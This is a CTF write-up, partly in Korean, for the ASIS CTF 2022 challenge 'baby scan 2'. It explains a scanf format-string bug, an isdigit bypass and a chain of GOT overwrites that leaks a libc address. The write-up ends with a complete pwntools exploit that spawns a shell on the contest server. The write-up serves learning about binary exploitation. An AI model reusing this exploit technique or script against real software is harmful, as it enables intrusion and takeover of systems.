ASIS CTF 2022 - baby scan 2 (fsb, scanf)

Info

(41/532) solves

description

It seems that the app scans every incoming message and simply removes the rude and offending phrase before displaying the original message.

for player

1
2
3
4
5
6
7
8
9
.
├── bin
│   └── chall
├── lib
│   ├── ld-2.31.so
│   └── libc.so.6
├── run.sh
└── src
└── main.c

making patched chall

libc와 ld가 주어졌으니 remote 환경과 동일하게 chall을 구성하기 위해 patch를 진행했다.

1
2
3
4
[jir4vvit@arch bin]$ ldd pchall 
linux-vdso.so.1 (0x00007ffc2bd90000)
./../lib/libc.so.6 (0x00007f46adf9f000)
./../lib/ld-2.31.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f46ae193000)

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size);
if (!isdigit(*size)) {
puts("[-] Invalid number");
exit(1);
}

buf = (char*)malloc(atoi(size) + 1); // difference of babyscan_1

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size);
scanf(fmt, buf);

exit(0);
}

__attribute__((constructor))
void setup(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
alarm(180);
}

baby scan 1 문제와 다른 점은 딱 하나다. size+1 크기를 스택이 아닌 힙에 할당한다. 따라서 baby scan 1 처럼 풀이를 진행한다면 힙 오버플로우가 나타나게 된다. 하지만 이 취약점만으론 익스가 불가능하다. free도 없고 단순히 힙 할당 한 번 가지고는 할 수 있는 게 없다. 힙 오버를 이용해서 다음 chunck의 size를 조절가능하지만 쓸모없다. 그래서 다른 취약점을 찾아야 한다. 이 과정에서 시간을 많이 허비해서 대회 시간 내에 풀지 못하였다.

Vulnerability

동작 과정을 살펴보면서 취약점을 찾아보자.

  1. size에 15글자를 받는다. (16글자가 아니라 15글자다.. 이것 때문에 익스코드 작성할 때 초반에 삽질했다.) <–scanf의 포맷스트링을 여기서 입력해야 한다.

  2. size+1 만큼 힙 할당을 진행한다. <–사실상 신경안써도 된다.

  3. snprintf를 이용하여 힙 입력에 사용될 scanf의 포맷스트링을 정의한다. <–포맷스트링을 어찌어찌 잘 정의해서

  4. 할당한 힙에 scanf를 이용하여 입력을 진행한다. <–fsb를 트리거해서 원하는 위치에 원하는 값을 적을 수 있다.

어떻게 fsb를 트리거할 수 있을까? baby sacn 1을 풀었던 것처럼 0을 입력해서 스택을 살펴보며 생각해보자.

4번째 과정을 진행할 때 즉, scanf를 이용하여 입력을 진행할 때 arguments는 아래와 같다.

1
2
3
4
5
__isoc99_scanf@plt (
$rdi = 0x007ffcdabcf878 → 0x00000000733025 ("%0s"?),
$rsi = 0x0000000172a2a0 → 0x0000000000000000,
$rdx = 0x0000000172a2a0 → 0x0000000000000000
)

첫 번째 인자에 주목해서 생각을 해보자. 우리는 포맷스트링을 마음대로 집어넣어서 입력할 수 있다. printf 함수에서 포맷스트링을 정의해주지 않고 우리의 입력값만 인자로 들어간다면 fsb를 이용해서 스택을 leak하거나 스택에 원하는 값을 넣을 수 있다.

scanf에서도 똑같이 통하지 않을까? 키보드로부터 입력을 받는 함수니깐 출력은 하지 못하더라도 원하는 스택 주소에 원하는 값을 적을 수 있지 않을까?

size를 입력 받을 때 15글자를 입력할 수 있다.

1
scanf("%15s", size)
1
2
3
4
5
6
7
8
9
10
11
gef> x/20gx $rsp
0x7ffcdabcf870: 0x00007fab4b8902e8 0x0000000000733025
0x7ffcdabcf880: 0x0000000000000030 0x0000000000401170 <-- [!]
0x7ffcdabcf890: 0x00007ffcdabcf990 0x000000000172a2a0
0x7ffcdabcf8a0: 0x0000000000000000 0x00007fab4b6c3083
0x7ffcdabcf8b0: 0x0000000100000018 0x00007ffcdabcf998
0x7ffcdabcf8c0: 0x000000014b8877a0 0x0000000000401256
0x7ffcdabcf8d0: 0x0000000000401390 0x03f4474d8e43ddf7
0x7ffcdabcf8e0: 0x0000000000401170 0x00007ffcdabcf990
0x7ffcdabcf8f0: 0x0000000000000000 0x0000000000000000
0x7ffcdabcf900: 0xfc0df2347f23ddf7 0xfca2d195ee2dddf7

size를 입력할 때 9번째 offset을 컨트롤할 수 있다. 현재는 0x401170이 쓰여있는데, 이거 대신 원하는 got 넣을 수 있다면?

자자, 취약점을 트리거 하기 위해서 우리가 알고 있는 정보를 정리해보자.

  1. scanf(fmt, buf)에서 fsb를 트리거할 수 있을 것만 같다.

  2. 9번째 offset에 입력할 수 있다. 언제? scanf("%15s", size)에서.

  3. fmt%<인풋>s이다.

=> data를 입력할 때 scanf("%9$s", buf)가 되어 원하는 주소에 원하는 값을 쓸 수 있을 것이다. got overwriting이 가능할 것이다.

Exploit

익스를 위해 ida에서도 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char fmt[8]; // [rsp+8h] [rbp-28h] BYREF
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
void *v6; // [rsp+28h] [rbp-8h]

printf("size: ");
__isoc99_scanf("%15s", nptr);
if ( ((*__ctype_b_loc())[nptr[0]] & 0x800) == 0 )
{
puts("[-] Invalid number");
exit(1);
}
v3 = atoi(nptr);
v6 = malloc(v3 + 1);
printf("data: ");
snprintf(fmt, 8uLL, "%%%ss", nptr);
__isoc99_scanf(fmt, v6);
exit(0);
}

우리는 현재 특정 함수의 got를 덮을 수 있는데, atoi 함수가 정말정말 너무너무 이것저것하기에 적당해 보인다. (인자를 하나만 받아서..)

leak

처음에 leak할 때 atoi@gotputs로 덮어서 릭하려고 했었다. 매우매우매우매우매우 바보같은 생각이었다. leak하고 싶은 주소를 넣어주면 고대로 출력해준다. (…)

leak할 때도 fsb를 이용해야 한다. 그래서 atoi@gotprintf로 덮고, ntpr에 포맷스트링을 넣어줘야 한다.

isdigit() bypass

prototype은 아래와 같다.

1
int isdigit( int arg );

parameter로는 char가 들어가야 한다. ‘0’ ~ ‘9’ 의 값만 들어갈 수 있는데, 이 문제에서서는 15글자를 인자로 줄 수 있다.
따라서 0<입력> 이런식으로 첫 글자에 숫자 하나를 주고 뒤에 원하는 문자들을 써서 이 검사를 우회할 수 있다.

Exploit Scenario

  1. exit@gotmain 주소로 덮어 무한히 실행되게 하기
  2. atoi@gotprintf 주소로 덮어 leak할 수 있게 구성하기
  3. 0%29$p를 보내서 __libc_start_main - 243 leak
  4. system 실제 주소를 구한 후 atoi@got을 덮기
  5. 마지막으로 0;sh를 보내 shell 획득

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import *

context.log_level = 'DEBUG'

#p = process('./pchall')
p = remote('65.21.255.31', 33710)
e = ELF('./pchall')
libc = ELF('./../lib/libc.so.6')

# exit@got -> main
payload = b'9$'.ljust(8, b'\x00') + p64(e.got['exit'])[:-1]
p.sendlineafter('size:', payload)

#payload = p64(e.symbols['main'])
payload = p64(e.symbols['main'])[0:7]
p.sendlineafter('data:', payload)

# atoi@got -> puts
payload = b'9$'.ljust(8, b'\x00') + p64(e.got['atoi'])[:-1]
p.sendlineafter('size:', payload)

payload = p64(e.symbols['printf'])[0:7]
p.sendlineafter('data:', payload)

# leak
payload = b'0%29$p'#b'9$'.ljust(8, b'\x00') + p64(e.got['atoi'])[:-1]
p.sendlineafter('size:', payload)

p.recvuntil(b'00x')
leak = int(b'0x' + p.recv(12),16)
log.info(hex(leak))

libc_base = leak - libc.symbols['__libc_start_main'] - 243
log.info(hex(libc_base))

p.sendlineafter('data:', b'A')

# atoi@got -> system
payload = b'9$'.ljust(8, b'\x00') + p64(e.got['atoi'])[:-1]
p.sendlineafter('size:', payload)

payload = p64(libc_base + libc.symbols['system'])[0:7]
p.sendlineafter('data:', payload)

# sh
p.sendlineafter('size:', '0;sh\x00')

p.interactive()

data 보낼 때 [0:7]로 자른 이유?

scanf 함수는 입력할 때 마지막에 Null byte를 삽입한다.
p64()로 패킹해서 보내게 되면 8바이트를 전송하게 된다. 이때 scanf로 입력을 받았기 때문에 마지막에 Null byte가 추가되어 _ctype_b_loc@got.plt를 더럽혀버렸다.

1
2
3
4
5
6
gef> x/2gx 0x0000000000404058
0x404058 <exit@got.plt>: 0x0000000000401256 0x00007fba7666d400
gef> x/gx 0x0000000000404058 + 0x8
0x404060 <__ctype_b_loc@got.plt>: 0x00007fba7666d400
gef> x/gx 0x00007fba7666d400
0x7fba7666d400 <isspace_l+16>: 0x66c3c0b70f200025

아래가 올바른 경우이다.

1
2
3
4
5
6
gef> x/2gx 0x0000000000404058
0x404058 <exit@got.plt>: 0x0000000000401256 0x00007fdc030534a0
gef> x/gx 0x0000000000404058 + 0x8
0x404060 <__ctype_b_loc@got.plt>: 0x00007fdc030534a0
gef> x/gx 0x00007fdc030534a0
0x7fdc030534a0 <__ctype_b_loc>: 0x5d058b48fa1e0ff3

Flag

1
ASIS{fd408e00d5824d7220c4d624f894144e}